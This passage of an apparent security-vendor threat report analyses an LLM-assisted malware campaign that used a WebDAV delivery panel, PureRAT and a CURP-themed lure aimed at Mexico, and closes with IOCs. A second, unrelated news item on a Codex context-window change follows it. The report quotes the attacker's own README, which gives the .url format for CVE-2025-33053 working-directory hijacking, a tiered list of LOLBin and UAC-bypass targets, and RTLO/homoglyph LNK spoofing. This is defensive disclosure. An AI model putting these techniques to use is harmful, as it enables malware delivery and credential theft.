data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
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<title><![CDATA[OpenAI’s Codex context reduction for GPT 5.6 sparks dissatisfaction among developers]]></title>
<description><![CDATA[OpenAI’s recent update to its Codex coding agent has developers worrying over the impact of the change on large code repositories and long-running AI-assisted sessions.



The update to the Codex CLI reduces the default configured input context window for GPT-5.6 to 272,000 tokens from 372,000 to...]]></description>
<link>https://tsecurity.de/de/3681246/ai-nachrichten/openais-codex-context-reduction-for-gpt-56-sparks-dissatisfaction-among-developers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681246/ai-nachrichten/openais-codex-context-reduction-for-gpt-56-sparks-dissatisfaction-among-developers/</guid>
<pubDate>Mon, 20 Jul 2026 15:19:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenAI’s recent update to its Codex coding agent has developers worrying over the impact of the change on large code repositories and long-running AI-assisted sessions.</p>



<p class="wp-block-paragraph">The <a href="https://github.com/openai/codex/pull/34009" target="_blank" rel="noreferrer noopener">update to the Codex CLI</a> reduces the default configured input context window for GPT-5.6 to 272,000 tokens from 372,000 tokens.</p>



<p class="wp-block-paragraph">In practice, the update means the coding agent will retain a smaller amount of code, conversation history, and other session information before compacting older context to make room for new information, a change that has prompted criticism from some developers on <a href="https://www.reddit.com/r/codex/comments/1v02y73/gpt56_context_reduced_to_272k/" target="_blank" rel="noreferrer noopener">Reddit</a> and <a href="https://x.com/Codex_Changelog/status/2079018788876411322" target="_blank" rel="noreferrer noopener">X</a> over the reduced token window.</p>



